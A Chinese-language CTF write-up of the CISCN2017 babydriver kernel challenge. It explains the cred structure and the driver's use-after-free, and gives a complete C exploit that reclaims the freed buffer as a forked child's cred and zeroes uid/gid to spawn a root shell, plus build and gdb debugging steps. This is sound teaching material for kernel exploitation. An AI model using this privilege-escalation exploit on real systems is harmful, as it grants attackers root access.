前提知识:
cred
结构体
kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)
通过查找各种类型所占内存大小、对齐规则可知cred结构体的总大小是0xa8
,一直到gid结束是28个字节
。
本题内核版本在4.4.72,cred结构体的分配此时还并没有被隔离到cred_jar中,可以修改该结构体。
注意kernel 4.5 —— cred_jar 与 kmalloc-192 分离
,因此我们无法通过 kmalloc
直接分配到 cred_jar 中的 object,因此我们需要寻找别的方式来提权。
如果能劫持到程序流程,执行以下函数也可以达到相同效果:
commit_creds(prepare_kernel_cred(0));
commit_creds(init_cred);
file_operations
结构体简介(fops
)
file_operations 结构体定义在 <linux/fs.h>
头文件中,其基本定义如下:
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iterate) (struct file *, struct dir_context *);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write) (struct pipe_inode_info *, struct file *,
loff_t *, size_t, unsigned int);
ssize_t (*splice_read) (struct file *, loff_t *,
struct pipe_inode_info *, size_t, unsigned int);
int (*setlease) (struct file *, long, struct file_lock **);
long (*move_mmap) (struct file *, struct vm_area_struct *);
ssize_t (*dedupe_file_range) (struct file *, loff_t, loff_t,
struct file *, loff_t, loff_t, unsigned);
void (*show_fdinfo) (struct seq_file *m, struct file *f);
unsigned (*atomic_open) (struct inode *, struct file *, unsigned);
};
虽然结构体中包含许多成员,但通常驱动程序只需要实现其中的一部分,根据具体需求进行选择。
常用的 file_operations
成员:
owner: 指向该 file_operations 结构体所属的模块。通常设为 THIS_MODULE。
open: 当用户空间调用 open() 系统调用打开设备文件时,此函数被调用。用于初始化设备状态、分配资源等。
read: 用户空间调用 read() 系统调用时,此函数被调用。用于从设备读取数据到用户空间。
write: 用户空间调用 write() 系统调用时,此函数被调用。用于将用户空间的数据写入设备。
release: 用户空间调用 close() 系统调用关闭设备文件时,此函数被调用。用于释放设备资源。
ioctl (unlocked_ioctl 和 compat_ioctl): 处理设备的控制请求,用户空间通过 ioctl() 系统调用向设备发送控制命令。
mmap: 当用户空间调用 mmap() 系统调用映射设备内存到用户空间时,此函数被调用。
llseek: 处理文件偏移量的调整,如用户调用 lseek()。
poll: 实现设备的异步 I/O 多路复用,如 select()、poll()、epoll() 等系统调用。
ioctl
函数
ioctl() 是一个系统调用,其一般形式如下:
long ioctl(int fd, unsigned int cmd, unsigned long arg);
参数说明:
-
fd (文件描述符):
- 这是一个打开的文件描述符,通常是通过
open()
函数返回的。它表示用户空间程序要操作的设备或文件。
- 这是一个打开的文件描述符,通常是通过
-
cmd (命令码):
- 这是一个整数值,用于指定操作的类型或设备的控制命令。它是一个唯一的命令码,通常由设备驱动程序定义,并且根据该命令来执行特定的操作。
- 命令码通常是通过宏如
_IO
,_IOR
,_IOW
,_IOWR
等来定义的,这些宏帮助设置命令码的格式以及数据的读写方向。
-
arg (参数):
- 这是一个长整型值,通常是一个指针,指向传递给设备驱动的额外数据。根据命令码的不同,
arg
可以用来传递控制命令的参数,或者用于返回值。 - 例如,如果命令需要传递数据,
arg
可能是一个指向用户空间数据的指针;如果命令返回数据,arg
可能指向用于接收数据的缓冲区。
- 这是一个长整型值,通常是一个指针,指向传递给设备驱动的额外数据。根据命令码的不同,
返回值:
- 如果成功,
ioctl()
通常返回0
或正数,具体取决于设备的实现。 - 如果失败,返回
-1
并设置errno
,表示错误的类型。例如,EBADF
(文件描述符无效)、EINVAL
(无效命令)、EFAULT
(错误的用户内存地址)等。
CISCN2017_Pwn_babydriver
如果 boot.sh 失败,需要虚拟机开一下 虚拟化 Intel VT-x/EPT 或 AMD-V/RVI
,开不了的话需要在 windows 下的管理员 cmd 窗口中执行 bcdedit /set hypervisorlaunchtype off
,然后重启
下载下来有这几个文件
把babydriver.tar解压出来
tar -xvf ./babydriver.tar -C ./
多了如下文件
.
├── start.sh或boot.sh # 启动脚本,运行这个脚本来启动QEMU
├── bzImage # 压缩过的内核镜像(这个是真正的编译后的内核程序)
└── rootfs.cpio # 作为初始RAM磁盘的文件,这里面的文件如下。注:这里只列出比较重要的文件,具体的看题目附件
|----init # init是系统启动时执行的第一个用户态进程(PID 1)。它是操作系统启动流程的核心部分,负责初始化系统并启动其他进程。这个init是比较重要的
|----linuxrc # linuxrc通常是一个脚本或可执行文件,它在一些早期的Linux版本中被用作默认的启动脚本,类似于init。
|----user # 这个多说
|----sbin # sbin是“system binary”的缩写,通常包含系统管理员使用的二进制文件。
|----lib # lib目录中的文件通常是为了支持基本命令和脚本运行所需的最小化库文件。
|---- .....
|---- test.ko # .ko表示的是内核模块,这个后面会具体介绍
|----dev # 设备文件
|----bin # bin目录通常包含一些基本的用户级二进制文件和命令
通常来说我们要将bzlmage
提取出vmlinux
,利用工具:extract-vmlinux
vmlinux
是未压缩的Linux内核映像,包含完整的内核代码段和数据段。
通常包含调试符号
,能够通过gdb等调试器加载进行符号化调试。
可以直接通过ROP工具或手动查找gadget,比如用ROPgadget、ROPg等工具搜索gadgets。
extract-vmlinux ./bzImage > ./vmlinux
利用file
命令可以查看Linux内核版本。这里的内核版本是4.4.72.
然后就是解包文件系统 rootfs.cpio
原始cpio文件其实是以gz格式压缩后的,先gunzip解压一遍
mkdir ./rootfs
cd rootfs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < ./rootfs.cpio
通常来说需要调试的话要看这几个文件,然后做如下更改
一: boot.sh
#!/bin/bash
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokalsr' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s
二. init文件
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
insmod命令用于将给定的模块加载到内核中。可见内核加载了位于/lib/modules/4.4.72/目录下的babydriver.ko
文件。CTF中的内核题很多都是出在加载的模块上。
把这里的1000改为0的话就是root权限方便后续调试,但也可以不改.
分析:
babydriver_init函数
alloc_chrdev_region,向内核申请一个字符设备的新的主设备号,副设备号从 0 开始,设备名 babydev,申请的设备号存入 babydev_no 中
cdev 是初始化的结构体,file_operations 用来设置该设备的各类操作。
这一大段唯一值得注意的是init中设置了/dev/babydev作为设备文件。
babyopen函数
babyopen用为全局变量babydev_structf分别分配内存和释放内存。
这里调用kmem_cache_alloc_trace函数固定分配一64字节大小的内存
,将长度记录在device_buf_len
全局变量babydev_struct由一个device_buf和它的长度device_buf_len两部分组成。
babyrelease函数
这里kfree后没有把指针置空,存在UAF漏洞。
babywrite函数
将用户空间的 buffer 内存中的数据拷贝到内核空间的 device_buf 上
babyread函数
babyioctl函数(重要函数)
babyioctl函数定义了一个命令,该命令执行的效果是释放现有的device_buf,按照用户传入的大小重新分配一块内存区域给device_buf,再记录长度到device_buf_len中。
利用思路
内核空间是所有进程都共享内存,如果打开了两个设备,会导致两个设备都对同一个全局指针,由于babydev_struct只存在一个,babydev_struct 具备相应的读写能力。若将其中一个关闭,内存会被释放。由于全局指针未清0,另一个设备仍然可以对该内存进行读写,导致形成 uaf 漏洞。
此时再fork()
一个新线程,由于kernel的内存分配器采用的是SLUB
,之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请。(kmem_cache_cpu->freelist
是后进先出的,类似于用户态glibc的fastbin,不过object并没有header。)
因此本题的利用思路如下:
1. 打开两次设备,通过ioctl将babydev_struct.device_buf大小变为的cred结构体的大小
2. 释放第一个设备,fork出一个新的进程,这个进程的cred结构体就会放在babydev_struct.device_buf所指向的内存区域
3. 使用第二个描述符,调用write向此时的babydev_struct.device_buf中写入28个0,刚好覆盖至uid和gid,实现root提权
EXP
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>
int main(){
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0xa8);
close(fd1);
int id = fork();
if(id <0){
printf("fork error ! \n");
exit(-1);
}else if(id == 0){
char cred[0xa8] = {0};
write(fd2,cred,28);
if(getuid()==0){
system("/bin/sh");
exit(0);
}
}else{
wait(NULL);
}
return 0;
}
写好exp过后,由于rootfs.cpio里并没有libc,所以编译的时候要使用静态编译,利用musl-gcc可以使文件占的内存更小。
musl-gcc ./exp.c -o exp --static
编译好文件后重新打包文件系统
find . | cpio -o -H newc > ../rootfs.img
然后把boot.sh中的-initrd rootfs.cpio
改为-initrd rootfs.img
然后运行boot.sh后,执行我们的exp
gdb调试EXP
之前我们已经分离出了 vmlinux
1.启动gdb
gdb ./vmlinux -q
- 导入符号表
add-symbol-file ./rootfs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
两个参数分别为babydriver.ko在解包后的文件系统中的路径以及.text段的地址。地址可以直接在qemu中查看:
- gdb调试远程连接
target remote 127.0.0.1:1234
接着就可以下断点,然后按c继续执行,再在qemu虚拟机中运行exp进行正常调试。
分别在babyopen、babyioctl、babywrite三处下断点。
然后在qemu中运行exp
第一次在babyopen断下。
注意在进行kernel的调试时尽量使用si步入
,在遇到call这类函数时可以使用ni
进行步过.
si逐条单步步过汇编代码,直到为babydev_struct赋值的语句
0xffffffffc00024d0
为babydev_struct.dev_buf的地址.
0xffffffffc00024d8
为babydev_struct.dev_buf_len的地址
赋值前0xffffffffc00024d0
和0xffffffffc00024d8
值为空。执行完两条赋值语句后。
babydev_struct.dev_buf的内容是:
第二次babyopen断下
也是执行到赋值语句这里。
可以看到babydev_struct地址仍然是0xffffffffc00024d0
。并且这个地址无论运行多少次都不会变。
查看内容:
可以看到 buffer进行了重新分配。
在 babyioctl断下
可以看到已经打开了两个文件。
然后依旧是si
到赋值语句这里:
执行完两条赋值语句,查看buf内容。
可以看到babydev_struct又进行了buffer的重新分配,大小变成了0xa8,也就是cred结构体的大小。
babywrite断下
此时fork函数执行结束,子进程的cred结构体被放入babydev_struct.dev_buf
指向的区域,这时cred结构体的内容如下:
然后si执行到返回处。
此时查看cred结构体的内容:
可以看到前28个字节的内容都杯改成了0;提权成功。